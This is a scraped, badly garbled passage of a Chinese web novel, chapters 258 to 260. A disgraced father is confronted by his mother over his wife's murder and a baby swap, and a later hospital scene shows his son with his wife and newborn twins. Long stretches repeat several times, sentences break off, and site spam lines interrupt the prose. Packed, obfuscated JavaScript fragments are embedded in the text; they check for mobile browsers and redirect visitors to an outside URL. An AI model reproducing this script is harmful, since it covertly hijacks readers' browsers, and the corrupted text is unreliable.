l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17130628|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,轻轻碰了碰陆鹤嵩被铐住的手腕,冰冷的金属触感让她指尖一缩。 她没有看旁边的警察,也没有看任何人,只是死死地盯着陆鹤嵩的眼睛,声音嘶哑得几乎破碎,“鹤嵩……你看着妈。” 陆鹤嵩身体一僵,头垂得更低。 “抬起头!”老太太突然拔高声音,拐杖重重顿地,发出沉闷的响声,带着不容抗拒的母威,“看着我!” 陆鹤嵩浑身一颤,终于缓缓抬起头,眼神躲闪,充满了恐惧、羞惭和一丝残留的、近乎绝望的挣扎。 老太太浑浊的眼睛里蓄满了泪,却没有落下。 她一字一句,问得缓慢而清晰,每一个字都像用尽了力气: “京洲说的……是不是真的?” “你是不是……和苏月兰联手害**自己的老婆月沁?” “沉奕他……到底是不是你和苏月兰的……儿子?” “你说话!你回答我!”老太太的声音陡然尖利,带着泣血的质问,“我要听你亲口说!是不是真的?!” 在刀尖上,摇摇晃晃,却又带着一种破釜沉舟的决绝。 厅内所有的目光都聚焦在她身上,连呼吸声都轻不可闻。 终于,她在陆鹤嵩面前站定。 她仰着头,看着这个她养育了半生、曾寄予厚望的儿子。 他低着头,不敢与她对视,昔日儒雅威严的面孔此刻只剩下灰败和仓皇。 老太太伸出枯瘦如柴的手,颤抖着,轻轻碰了碰陆鹤嵩被铐住的手腕,冰冷的金属触感让她指尖一缩。 她没有看旁边的警察,也没有看任何人,只是死死地盯着陆鹤嵩的眼睛,声音嘶哑得几乎破碎,“鹤嵩……你看着妈。” 陆鹤嵩身体一僵,头垂得更低。 “抬起头!”老太太突然拔高声音,拐杖重重顿地,发出沉闷的响声,带着不容抗拒的母威,“看着我!” 陆鹤嵩浑身一颤,终于缓缓抬起头,眼神躲闪,充满了恐惧、羞惭和一丝残留的、近乎绝望的挣扎。 老太太浑浊的眼睛里蓄满了泪,却没有落下。 她一字一句,问得缓慢而清晰,每一个字都像用尽了力气: “京洲说的……是不是真的?” “你是不是……和苏月兰联手害**自己的老婆月沁?” “沉奕他……到底是不是你和苏月兰的……儿子?” “你说话!你回答我!”老太太的声音陡然尖利,带着泣血的质问,“我要听你亲口说!是不是真的?!” 在刀尖上,摇摇晃晃,却又带着一种破釜沉舟的决绝。 厅内所有的目光都聚焦在她身上,连呼吸声都轻不可闻。 终于,她在陆鹤嵩面前站定。 她仰着头,看着这个她养育了半生、曾寄予厚望的儿子。 他低着头,不敢与她对视,昔日儒雅威严的面孔此刻只剩下灰败和仓皇。 老太太伸出枯瘦如柴的手,颤抖着,轻轻碰了碰陆鹤嵩被铐住的手腕,冰冷的金属触感让她指尖一缩。 她没有看旁边的警察,也没有看任何人,只是死死地盯着陆鹤嵩的眼睛,声音嘶哑得几乎破碎,“鹤嵩……你看着妈。” 陆鹤嵩身体一僵,头垂得更低。 “抬起头!”老太太突然拔高声音,拐杖重重顿地,发出沉闷的响声,带着不容抗拒的母威,“看着我!” 陆鹤嵩浑身一颤,终于缓缓抬起头,眼神躲闪,充满了恐惧、羞惭和一丝残留的、近乎绝望的挣扎。 老太太浑浊的眼睛里蓄满了泪,却没有落下。 她一字一句,问得缓慢而清晰,每一个字都像用尽了力气: “京洲说的……是不是真的?” “你是不是……和苏月兰联手害**自己的老婆月沁?” “沉奕他……到底是不是你和苏月兰的……儿子?” “你说话!你回答我!”老太太的声音陡然尖利,带着泣血的质问,“我要听你亲口说!是不是真的?!” 在刀尖上,摇摇晃晃,却又带着一种破釜沉舟的决绝。 厅内所有的目光都聚焦在她身上,连呼吸声都轻不可闻。 终于,她在陆鹤嵩面前站定。 她仰着头,看着这个她养育了半生、曾寄予厚望的儿子。 他低着头,不敢与她对视,昔日儒雅威严的面孔此刻只剩下灰败和仓皇。 老太太伸出枯瘦如柴的手,颤抖着,轻轻碰了碰陆鹤嵩被铐住的手腕,冰冷的金属触感让她指尖一缩。 她没有看旁边的警察,也没有看任何人,只是死死地盯着陆鹤嵩的眼睛,声音嘶哑得几乎破碎,“鹤嵩……你看着妈。” 陆鹤嵩身体一僵,头垂得更低。 “抬起头!”老太太突然拔高声音,拐杖重重顿地,发出沉闷的响声,带着不容抗拒的母威,“看着我!” 陆鹤嵩浑身一颤,终于缓缓抬起头,眼神躲闪,充满了恐惧、羞惭和一丝残留的、近乎绝望的挣扎。 老太太浑浊的眼睛里蓄满了泪,却没有落下。 她一字一句,问得缓慢而清晰,每一个字都像用尽了力气: “京洲说的……是不是真的?” “你是不是……和苏月兰联手害**自己的老婆月沁?” “沉奕他……到底是不是你和苏月兰的……儿子?” “你说话!你回答我!”老太太的声音陡然尖利,带着泣血的质问,“我要听你亲口说!是不是真的?!” 第258章 这就是你**的理由? 陆鹤嵩的嘴唇剧烈哆嗦着,脸上肌肉扭曲。 他看着母亲苍老悲痛至极的脸,看着那双曾经充满慈爱,此刻却只剩破碎与审判的眼睛,最后一丝狡辩的勇气也土崩瓦解。 他猛地闭上眼,滚烫的泪水从眼角滑落,喉咙里发出困兽般的呜咽。 这无声的反应,比任何嘶吼的否认都更有力。 老太太踉跄着后退一步,仿佛被抽走了所有筋骨,若不是管家及时扶住,几乎要瘫倒在地。 她捂着胸口,那里传来撕裂般的剧痛,痛得她喘不过气。 “呵……呵呵……”她突然笑了起来,笑声凄厉又悲凉,眼泪终于汹涌而出。 “真的……竟然是真的……我的儿子……我养的好儿子啊!” 她猛地扬起手中的拐杖,用尽全身力气,狠狠砸在陆鹤嵩的肩膀上! “畜生!你这个畜生!!月沁是你的结发妻子啊!她为你生儿育女,操持家业!” “她那么喜欢你,为了嫁给你,跟家里闹翻,顶着多少闲言碎语!她苏家大小姐,金枝玉叶,难道就非你不可吗?!要不是她一门心思认定你,非要嫁给你,她何至于骨肉分离,何至于……年纪轻轻就命丧黄泉!” 拐杖再次落下,带着风声。 “你不喜欢她,大可以不娶!娶了过不下去,你就不能好好跟她说,不能离婚吗?!” “你为什么要耽误她一辈子,还要让她给你生孩子!你让她怀胎十月,生下你们的孩子,转头……转头你就偷偷换掉?!” “你让她养别人的孩子,让她到死都不知道自己的亲骨肉流落何方……陆鹤嵩,你到底把她当成什么了?!” 老太太的声音嘶哑破裂,字字泣血。 “你既然心里装着别人,既然这么看不上她,为什么还要让她生下一个又一个孩子?” “你到底想干什么?!你要是不喜欢她,厌弃她,你大可以放她走!为什么要用婚姻锁着她,用孩子绑着她,最后还要她的命?!你的心呢?你的心被狗吃了吗?!” “你告诉我,我那个大孙子呢?我真正的长孙,他现在在哪?!你把他弄到哪里去了?!你告诉我!你还没有丧心病狂到……连自己的亲生骨肉都下毒手的地步吧?啊?!” 看着他沉默的样子,陆老太太什么都明白了,打的更狠了。 “陆鹤嵩!你的良心被狗吃了吗?!” “你告诉我,他人呢?他人现在在哪?” “你还没有丧心病狂到想杀自己亲生儿子 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 的地步吧! 每骂一句,拐杖就落下一次,带着一个母亲极致的愤怒与悲痛。 警察没有阻拦,只是沉默地看着。 陆鹤嵩不躲不闪,任由母亲打骂,只是闭着眼流泪,肩膀垮塌下去,彻底变成了一具失去灵魂的躯壳。 老太太打累了,拄着拐杖大口喘息,泪流满面。 她最后看了儿子一眼,那眼神里的痛苦、失望、憎恶,几乎要将陆鹤嵩淹没。 然后,她猛地转过身,不再看他,颤抖着声音对警察说,“带走吧……依法办事……该判什么罪……就判什么罪……陆家……没有这种子孙! 说完,她仿佛用尽了最后一丝力气,由管家搀扶着,背对着所有人,一步一步,蹒跚而决绝地离开了这片令她心碎欲绝的是非之地。 那背影,瞬间佝偻了十岁,写满了被至亲背叛摧毁的暮年凄凉。 陆京洲站在原地,看着祖母离去的背影,喉结微微滚动。 他脸上的冰封有一瞬的裂痕,但很快又被更深沉的冷硬覆盖。 他转向特助,声音恢复了之前的冷冽,“通知法务部和公关部,按计划进行下一步。 老太太刚要转身,陆鹤嵩却猛地抬起头,那双布满红血丝的眼睛里,突然爆发出一种积压了数十年的、扭曲的怨毒。 他不再流泪,声音嘶哑干涩,像砂纸摩擦着朽木,直直刺向他的母亲,“我的错?都是我的错?! “现在说什么都没用了,你觉得是我的错,那就是我的错吧。 他猛地挣动了一下,**哗啦作响,引得警察立刻加强了控制。 但他不管不顾,只是死死瞪着老太太,仿佛要将所有愤恨都倾泻出来。 “是你!是你逼我娶她的!是你强行拆散了我和苏月兰!就因为你听信了那个江湖骗子的话,说什么我和月沁八字是天作之合,和月兰八字不合是孽缘!就为了这荒唐可笑的八个字!你就用你的眼泪,用你的性命,逼我放弃了苏月兰,娶了她姐姐! 他喘着粗气,胸口剧烈起伏,额头上青筋暴起。 “你说她爱我?她爱的从来不是我!她嫁给我,不过是为了向家里证明她没错,不过是为了陆家少奶奶这个头衔!她心里装着谁,你以为我不知道吗?! “先出轨的是她!是她苏月沁先对不起我!我怎么能确定……她生下的孩子,到底是不是我的种?! 最后这句话,如同又一记炸雷,让原本稍稍平复的场面再次掀起惊涛骇浪。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 连已经走到门口的陆京洲都猛地停下了脚步,豁然转身,眼神锐利如刀,射向陆鹤嵩! 陆老太太如遭重击,浑身一震,拄着拐杖的手抖得几乎握不住。 她脸上的悲痛被巨大的震惊和荒谬感取代,声音尖利起来,“你……你胡说八道什么?!月沁她不是那样的人!她嫁给你之后,眼里心里只有这个家!你为了给自己开脱,连这种污蔑亡人的话都说得出口?!陆鹤嵩,你简直无可救药!” “我胡说?”陆鹤嵩神经质地笑了起来,眼神却更加疯狂,“你以为我为什么冷落她?为什么越来越厌烦她?就是因为我知道了!我知道她心里一直有别人!那个孩子……第一个孩子……生下来就不像我也不像她!你让我怎么不多想?!” “所以你就能调换孩子?!所以你就能和苏月兰合谋害死她?!这就是你的理由?!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133329|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 老太太气得浑身发抖,“就算……就算你有怀疑,你不能查清楚吗?你不能问吗?你就用这种方式来报复?来掩盖你的丑事?!” “问?查?”陆鹤嵩的笑容变得惨淡而扭曲。 “我怎么问?怎么查?那时候陆家需要苏家的支持,这桩婚事是你千求万求来的,我能撕破脸吗?我只能忍着!忍着她的虚情假意,忍着这个可能带着别人血脉的孩子叫我爸爸!” 他的目光扫过陆京洲,带着一种复杂难辨的情绪,最终又落回老太太身上,声音低了下去,却更显阴冷,“后来有了陆京洲……他长得像我,我知道,这个是我的。” “可是来不及了……我和月兰……我们已经有了沉奕。错误已经铸成,我回不了头了。月沁必须消失,那个来历不明的孩子也必须消失,这样,我的沉奕才能名正言顺,我和月兰才能在一起……这一切,都是你们逼我的!是你们所谓的‘八字’‘天作之合’逼我的!” 这番扭曲的自我辩解,将他的自私、懦弱、多疑和残忍暴露无遗。 他把自己塑造成一个被命运和家庭逼迫的可怜人,却无法掩盖其行为本质的卑劣。 陆京洲听着,眼中的冰寒几乎凝为实质。他一步步走回来,在陆鹤嵩面前站定,声音平静得可怕。 “所以,这就是你**的理由?这就是你抛弃亲生骨肉的理由?陆鹤嵩,你不仅是个凶手,是个懦夫,还是个只会为自己找借口的可怜虫。” 他微微俯身,靠近陆鹤嵩的耳边,用只有两人能听到的声音,一字一句道: “至于我母亲是否‘出轨’,那个孩子究竟是谁的……你放心,我会查 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 。查得清清楚楚。如果证明你是污蔑……” 他直起身,看着陆鹤嵩骤然收缩的瞳孔,冷冷道,“那你在监狱里的日子,一定会更加‘丰富多彩’。” 说完,他不再看陆鹤嵩灰败绝望的脸,对警察示意,“带下去吧。” 然后,他转向脸色苍白、摇摇欲坠的祖母,语气稍微缓和,却依旧带着不容置疑的坚定。 “奶奶,真相如何,我会查明。但无论过去有多少纠葛,都不是他犯罪的理由。陆家,需要清理门户,也需要一个真正的了结。” 老太太张了张嘴,最终什么也没说,只是疲惫地闭上了眼睛,任由管家搀扶着离开。 走到门口才再次开了口,“阿洲,查,好好查,一桩桩,一件件,全部都查清楚,还你母亲一个清白。” “她是我亲自挑选的人,她对你父亲是有感情的,是真正的爱,我能看得出来,我相信她的人品。” 陆老太太是重重的叹了口气,声音闷闷的,“我不知道当年究竟发生了什么,但我知道她那么想嫁给他,一定有他的原因。” 陆京洲点了点头,“奶奶放心吧,我会查清楚的,让母亲安心的。” 不论如何,他都要还母亲一个清白。 替她把该报的仇都报了。 第259章 手机有什么好看的? 陆京洲解决完老宅的事情,马不停蹄的赶回了医院。 他知道他一直没有消息笙笙会很紧张。 即使紧赶慢赶的赶回来,回到医院也还是不早了。 按照她的生物钟,早早的就应该睡下了。 可今天晚上不一样,他回到病房,不仅老婆没有睡觉,两个宝宝也没有睡。 不过今天两个宝宝也没有躺在小床上,被小包被包着,放在岑予衿的两侧。 两个都没有哭闹,就这么静静的玩着小手。 岑予衿则是不停的看着手机,眉头越皱越紧,不知道究竟在干什么。 陆京洲看着母子三人,越看越控制不住,嘴角微微上扬,最后还是没忍住,拿出手机,拍了一张照片。 才抬脚往里走。 “老婆,手机有那么好看吗?” 岑予衿看到他进病房,随意的将手机往旁边一丢,掀开被子,光脚踩在被子上,一个人看快步朝着他的方向走了过去。 刚走到床边,还没有下床呢,某个人已经飞扑过来了。 预判了她要下床的预判。 岑予衿结结实实地扑进了陆京洲怀里,双手紧紧环住他的腰,把脸埋在他胸口。 用力嗅了嗅他身上熟悉却又带着夜露微凉的气息,闷闷地“嗯”了一声,然后更用力地抱紧他。 “不好看,”她声音从他怀里传出来,有点闷,带着点不自觉的撒娇和后怕。 “一直在等你的消息……网上有些风言风语,看得人心烦。老宅那边……都处理好了吗?” 陆京洲心尖一软,像是被温热的羽毛轻轻拂过,又酸又胀。 他一手回抱住她,另一只手抚上她的后脑,轻轻揉了揉她柔顺的发丝,下巴抵着她的发顶。 “嗯,处理完了。他……被带走了。奶奶发了话,依法办事。” 他言简意赅,不想让那些腌臜事过多污染此刻的温馨,“别担心,一切有我。那些网上的话,不用看,公关部会处理干净。” 他知道她担心什么。 陆家这样的家族,一举一动都牵扯无数目光,今天老宅的动静不可能完全瞒住,流言蜚语恐怕已经甚嚣尘上。 但他更在意的是她的情绪和身体。 岑予还是不怎么放心,站在床上高度和他差不多,扶着他的肩膀,左看看,右看看。 确定没有问题,这才狠狠的松了一口气,又重新扑回他怀里,“你都不知道,一开始我看到你的车子在半路上出事儿了可把我吓死 了,幸好你及时给我发消息了。” “要不然我肯定控制不住,飞奔到现场找你了。” 陆京洲听着她的幼稚的话,心已经完全被填满了,“我的大宝宝,小宝宝都在医院等我呢,我怎么可能允许自己出事儿呢?” 岑予衿轻哼了一声,“就你嘴贫,那你可得说到做到,要是真出了点什么事儿,我就……我就……” 陆京洲被她逗笑了,用力的揉了揉她的脑袋,“你觉得怎么样呀?老婆大人~” “我就不理你了,我就要和你离婚,我就要带着你的宝宝敢嫁给别人。” 陆京洲听着她赤裸裸威胁的话,声音严肃了不少,“你敢!” “你要是真出事儿了,看我敢不敢就行。” 陆京洲看着她张牙舞爪的样子,真觉得可爱极了,“到时候别抱着我哭鼻子就行,现在嘴硬,可以!” “是不是嘴硬,到时候你就清楚了!” 陆京洲没在和她贫嘴,岔开了这个话题。 “怎么还没睡?”陆京洲微微松开怀抱,低头看她,眉头轻蹙。 “医生说了你要多休息,坐月子休息不好,可是会得月子病的,你不怕?宝宝们今天怎么也没睡?” 他目光扫过床上两个安静玩着小手、睁着乌溜溜大眼睛好奇望过来的小家伙,眼神瞬间柔和下来。 岑予衿从他怀里抬起头,眼睛亮晶晶的,虽然有些疲惫,但精神还好。 “还不是要等你呀,你不回来,我心里不踏实。” 她老实承认,又指了指旁边两个小的,“至于他们俩……下午睡多了,两个月嫂想让他们睡得少一点,和他们玩,怎么叫都叫不醒,晚上精神得很,你回来之前还哄了半天也不睡,非要挨着我。可能……也在等爸爸?” 这些话是真的。 不放在她身边还一直哭闹,放到她身边的大床上之后都不用抱了,不哭不闹的,乖的跟什么似的。 最后一句带着明显的调侃,冲淡了刚才略显沉重的气氛。 陆京洲被她这句“等爸爸”说得心里暖烘烘的,忍不住低头在她额上印下一个吻。 “以后不许胡闹,你是产妇,需要休息。” 话虽这么说,语气却温柔得能滴出水来。 他扶着她在床边坐下,摸了摸她的脚,果然有些凉,立刻扯过被子将她一双脚严严实实裹住。 “饿不饿?”他问,“忙到这么晚,晚上是不是没好好吃东西?” 他了解她,心里有事的时候胃口 就不好。 岑予衿摸了摸肚子,诚实地点点头,“有点。医院里的月子餐……味道有点淡。” 她眨眨眼,带着点狡黠和期待看着他。 陆京洲立刻明白了她的意思,有些无奈,更多的是纵容。 “想吃什么?我看看厨房有什么。”VIP病房配有小厨房,设施齐全,他有时会亲自给她做些合胃口的。 “想吃你煮的面。”岑予衿毫不客气地点单,眼睛弯成了月牙,“要煎蛋,要青菜,汤头要鲜,一点点辣。” 要求还不少。 陆京洲眼底漫上笑意,刮了下她的鼻子。 “等着。”他脱下西装外套,随手搭在椅背上,解开衬衫袖扣,将袖子一丝不苟地挽至小臂,露出线条流畅的手臂,转身就向小厨房走去。 动作熟练,姿态从容,仿佛不是去煮一碗面,而是处理什么重要文件。 岑予衿靠在床头,看着他挺拔的背影消失在厨房门口,心里那点残余的焦虑和不安慢慢沉淀下去。 老宅的风波再大,此刻也被这间充满暖光的病房隔开了。 这里有他,有宝宝,就是她的整个世界。 很快,小厨房里传来轻微的动静,切菜声,打蛋声,油锅滋滋声,然后是令人食指大动的香气慢慢飘散出来。 两个宝宝似乎也被香气吸引,小脑袋转向厨房的方向,小手挥了挥。 陆京洲端着一个托盘出来时,看到的就是这样一幅画面,柔和的灯光下。 他心爱的女人靠着床头,眉眼温柔,两个小小的、与他血脉相连的孩子躺在她身侧,一家四口,安静而美好。 他心口涨满,走过去将托盘放在床头柜上。 一碗热气腾腾的汤面,清亮的汤底,卧着金黄的煎蛋和翠绿的青菜,旁边还有一小碟她喜欢的爽口小菜。 “小心烫。”他将筷子递给她,自己则很自然地坐到床边,看了一眼两个精神奕奕的小家伙,伸出手指,轻轻碰了碰女儿柔嫩的脸颊。 小家伙立刻抓住他的手指,小小的力气,却让他整颗心都化了。 岑予衿吹了吹面,小心地吃了一口,眼睛立刻满足地眯起来。 “好吃!”还是他做的味道最合她心意。 陆京洲看着她像只餍足的小猫似的模样,唇角上扬。 他调整了一下姿势,将儿子轻轻抱到怀里,小家伙在他臂弯里扭了扭,找了个舒服的位置,竟然打了个小小的哈欠。 “慢点吃。”他一边轻拍着儿子,一边 对她说,目光始终流连在她和孩子们身上。 一碗简单的面,驱散了深夜的寒气和心头的阴霾。 岑予衿吃着面,时不时抬头看他一眼,看他笨拙又无比温柔地抱着孩子的样子,看他眼底淡淡的青黑和依然挺直的脊背。 “阿洲,”她轻声叫他。 “嗯?” “辛苦你了。”今天,还有每一天。 陆京洲抬眸,对上她清澈含情的眼睛,摇了摇头。 “不辛苦。” 为了你们,做什么都不辛苦。 他顿了顿,补充道,“所有的事情都会解决的,都会好起来的。你现在的任务就是养好身体,别的什么都不用想。” 语气是惯常的沉稳笃定,带着让人安心的力量。 岑予衿点点头,吃完最后一口面,连汤都喝了大半,浑身暖洋洋的。 她把碗推开,蹭到他身边,和他一起看着怀里渐渐睡着的儿子,又看看旁边已经闭上眼睛的女儿。 “宝宝们好像终于困了。”她小声说,带着笑意。 “嗯,闹腾够了。”陆京洲小心翼翼地将儿子放回小床,又仔细给女儿掖好被角。两个小家伙终于沉入梦乡。 他收拾了碗筷,快速洗漱回来,病房里只留下一盏昏暗的夜灯。 岑予衿已经缩进了被子里,只露出一双眼睛看着他。 陆京洲上床,将她连人带被子搂进怀里,在她发间落下一个吻,“睡吧,我在这儿。” 岑予衿在他怀里找了个最舒服的位置,鼻尖全是他身上令人安心的气息,眼皮渐渐沉重。 “阿洲……” “嗯?” “明天早上……还想吃你做的煎蛋。” “好~” 对她说,目光始终流连在她和孩子们身上。 一碗简单的面,驱散了深夜的寒气和心头的阴霾。 岑予衿吃着面,时不时抬头看他一眼,看他笨拙又无比温柔地抱着孩子的样子,看他眼底淡淡的青黑和依然挺直的脊背。 “阿洲,”她轻声叫他。 “嗯?” “辛苦你了。”今天,还有每一天。 陆京洲抬眸,对上她清澈含情的眼睛,摇了摇头。 “不辛苦。” 为了你们,做什么都不辛苦。 他顿了顿,补充道,“所有的事情都会解决的,都会好起来的。你现在的任务就是养好身体,别的什么都不用想。” 语气是惯常的沉稳笃定,带着让人安心的力量。 岑予衿点点头,吃完最后一口面,连汤都喝了大半,浑身暖洋洋的。 她把碗推开,蹭到他身边,和他一起看着怀里渐渐睡着的儿子,又看看旁边已经闭上眼睛的女儿。 “宝宝们好像终于困了。”她小声说,带着笑意。 “嗯,闹腾够了。”陆京洲小心翼翼地将儿子放回小床,又仔细给女儿掖好被角。两个小家伙终于沉入梦乡。 他收拾了碗筷,快速洗漱回来,病房里只留下一盏昏暗的夜灯。 岑予衿已经缩进了被子里,只露出一双眼睛看着他。 陆京洲上床,将她连人带被子搂进怀里,在她发间落下一个吻,“睡吧,我在这儿。” 岑予衿在他怀里找了个最舒服的位置,鼻尖全是他身上令人安心的气息,眼皮渐渐沉重。 “阿洲……” “嗯?” “明天早上……还想吃你做的煎蛋。” “好~” 对她说,目光始终流连在她和孩子们身上。 一碗简单的面,驱散了深夜的寒气和心头的阴霾。 岑予衿吃着面,时不时抬头看他一眼,看他笨拙又无比温柔地抱着孩子的样子,看他眼底淡淡的青黑和依然挺直的脊背。 “阿洲,”她轻声叫他。 “嗯?” “辛苦你了。”今天,还有每一天。 陆京洲抬眸,对上她清澈含情的眼睛,摇了摇头。 “不辛苦。” 为了你们,做什么都不辛苦。 他顿了顿,补充道,“所有的事情都会解决的,都会好起来的。你现在的任务就是养好身体,别的什么都不用想。” 语气是惯常的沉稳笃定,带着让人安心的力量。 岑予衿点点头,吃完最后一口面,连汤都喝了大半,浑身暖洋洋的。 她把碗推开,蹭到他身边,和他一起看着怀里渐渐睡着的儿子,又看看旁边已经闭上眼睛的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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岑予衿在他怀里找了个最舒服的位置,鼻尖全是他身上令人安心的气息,眼皮渐渐沉重。 “阿洲……” “嗯?” “明天早上……还想吃你做的煎蛋。” “好~” 对她说,目光始终流连在她和孩子们身上。 一碗简单的面,驱散了深夜的寒气和心头的阴霾。 岑予衿吃着面,时不时抬头看他一眼,看他笨拙又无比温柔地抱着孩子的样子,看他眼底淡淡的青黑和依然挺直的脊背。 “阿洲,”她轻声叫他。 “嗯?” “辛苦你了。”今天,还有每一天。 陆京洲抬眸,对上她清澈含情的眼睛,摇了摇头。 “不辛苦。” 为了你们,做什么都不辛苦。 他顿了顿,补充道,“所有的事情都会解决的,都会好起来的。你现在的任务就是养好身体,别的什么都不用想。” 语气是惯常的沉稳笃定,带着让人安心的力量。 岑予衿点点头,吃完最后一口面,连汤都喝了大半,浑身暖洋洋的。 她把碗推开,蹭到他身边,和他一起看着怀里渐渐睡着的儿子,又看看旁边已经闭上眼睛的女儿。 “宝宝们好像终于困了。”她小声说,带着笑意。 “嗯,闹腾够了。”陆京洲小心翼翼地将儿子放回小床,又仔细给女儿掖好被角。两个小家伙终于沉入梦乡。 他收拾了碗筷,快速洗漱回来,病房里只留下一盏昏暗的夜灯。 岑予衿已经缩进了被子里,只露出一双眼睛看着他。 陆京洲上床,将她连人带被子搂进怀里,在她发间落下一个吻,“睡吧,我在这儿。” 岑予衿在他怀里找了个最舒服的位置,鼻尖全是他身上令人安心的气息,眼皮渐渐沉重。 “阿洲……” “嗯?” “明天早上……还想吃你做的煎蛋。” “好~” 对她说,目光始终流连在她和孩子们身上。 一碗简单的面,驱散了深夜的寒气和心头的阴霾。 岑予衿吃着面,时不时抬头看他一眼,看他笨拙又无比温柔地抱着孩子的样子,看他眼底淡淡的青黑和依然挺直的脊背。 “阿洲,”她轻声叫他。 “嗯?” “辛苦你了。”今天,还有每一天。 陆京洲抬眸,对上她清澈含情的眼睛,摇了摇头。 “不辛苦。” 为了你们,做什么都不辛苦。 他顿了顿,补充道,“所有的事情都会解决的,都会好起来的。你现在的任务就是养好身体,别的什么都不用想。” 语气是惯常的沉稳笃定,带着让人安心的力量。 岑予衿点点头,吃完最后一口面,连汤都喝了大半,浑身暖洋洋的。 她把碗推开,蹭到他身边,和他一起看着怀里渐渐睡着的儿子,又看看旁边已经闭上眼睛的女儿。 “宝宝们好像终于困了。”她小声说,带着笑意。 “嗯,闹腾够了。”陆京洲小心翼翼地将儿子放回小床,又仔细给女儿掖好被角。两个小家伙终于沉入梦乡。 他收拾了碗筷,快速洗漱回来,病房里只留下一盏昏暗的夜灯。 岑予衿已经缩进了被子里,只露出一双眼睛看着他。 陆京洲上床,将她连人带被子搂进怀里,在她发间落下一个吻,“睡吧,我在这儿。” 岑予衿在他怀里找了个最舒服的位置,鼻尖全是他身上令人安心的气息,眼皮渐渐沉重。 “阿洲……” “嗯?” “明天早上……还想吃你做的煎蛋。” “好~” 第260章 完全是在无理取闹 岑予衿往陆京洲怀里又拱了拱,鼻尖蹭着他温热的脖颈,声音软乎乎的带着刚吃饱的慵懒,“阿洲,我睡不着呀。” 陆京洲指尖轻轻摩挲着她的后背,声音低沉温柔,“刚吃完就犯困才对,怎么还精神了?是不是面太合胃口,撑得睡不着?” “才不是呢,”她抬起头,眼睛在昏暗的夜灯下发着亮,像藏了两颗小星星,“是白天陪宝宝们睡多啦,他们下午呼呼大睡,我也跟着眯了好久,现在一点困意都没有。” 她伸出手指,轻轻戳了戳陆京洲的下巴,语气带着明显的撒娇,“你陪我玩会儿嘛,不然我一个人躺着多无聊。” 陆京洲捏了捏她的脸颊,无奈道,“你是产妇,哪能熬夜玩游戏?医生特意嘱咐过,要保证充足睡眠,不然恢复不好。” “可是我真的睡不着呀。”岑予衿嘟着嘴,双手环住他的脖子,把脸凑得极近,鼻尖几乎要碰到他的。 “你就陪我玩一小会儿,就一小会儿好不好?玩完我就乖乖睡觉,绝不耍赖。” 她眨巴着眼睛,长长的睫毛像小扇子似的轻轻颤动,带着讨好的意味。 “而且你今天处理老宅的事情肯定也累了,玩会儿游戏放松一下嘛,总比你在那儿胡思乱想强。” 陆京洲看着她近在咫尺的娇俏模样,喉结微动,心早就软得一塌糊涂,可还是强装镇定,“玩什么?你现在身体不方便,太剧烈的可不行。” 太剧烈可不行? 他在想什么呀?! 她怎么一下子就懂了呢?! 算了……她就是个大黄丫头,也许陆京洲就不是这个意思。 “才不玩剧烈的呢,”岑予衿笑了,在他唇上快速啄了一下,像偷吃到糖的小孩。 “我们玩猜谜语呀,或者石头剪刀布,输了的人要答应对方一个要求,怎么样?” “猜谜语?”陆京洲挑眉,“你这小脑袋里还藏着这些?” “那当然啦,”她得意地扬了扬下巴,“我可是提前想好的,就等着跟你玩呢。你先来还是我先来?” “你先来吧,”陆京洲把她往怀里搂得更紧了些,让她靠得更舒服,“我倒要看看你能想出什么谜语。” 岑予衿清了清嗓子,故意拖长了语调:“听好了哦,谜面是‘身子像个小逗点,摇着一根小尾巴,从小就会水里游,长大跳上田埂跑’,打一个小动物。” 说完她就睁着亮晶晶的眼睛看着陆京洲,满脸期待地等着他回答。 她已经故意说了一个非常简 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 单的,她就不相信以陆京洲的脑子会想不出来。 陆京洲故作沉思,手指轻轻敲着下巴,“身子像逗点,摇尾巴,水里游,长大上田埂……是青蛙? “哇,你好厉害!一下子就猜中了!岑予衿眼睛更亮了,忍不住在他脸上亲了一口,“那你输啦,要答应我一个要求。 这完全就是在无理取闹呀。 “我猜中了怎么还输了?陆京洲失笑,“不是应该猜错的人输吗? “我定的规矩呀,岑予衿耍赖,双手紧紧抱着他的脖子不肯撒手,“我说输了就是输了,快说,答应不答应我的要求? “好好好,答应你,陆京洲无奈妥协,“你想让我做什么? “我要你亲我十下,岑予衿立刻说道,眼睛里满是狡黠的笑意,“还要亲得认认真真的,不能敷衍。 陆京洲低笑出声,低头在她额头亲了一下,又在她眼角亲了一下,声音温柔,“一下,两下…… 他一边数着,一边在她的脸颊、鼻尖、唇上轻轻落下吻,每一个吻都带着满满的宠溺,等到数到十的时候,岑予衿已经笑得眉眼弯弯,脸颊通红。 “好啦,该我出题了,陆京洲捏了捏她泛红的脸颊,“谜面是‘有面没有口,有脚不会走,三餐它先上,模样生得丑’,打一个生活用品。 岑予衿皱着小眉头,认真思考起来,“有面没有口,有脚痛不会走,三餐先上……是桌子?不对,桌子模样不丑呀。 她歪着脑袋想了半天,又问,“是锅?也不对,锅没有脚呀。 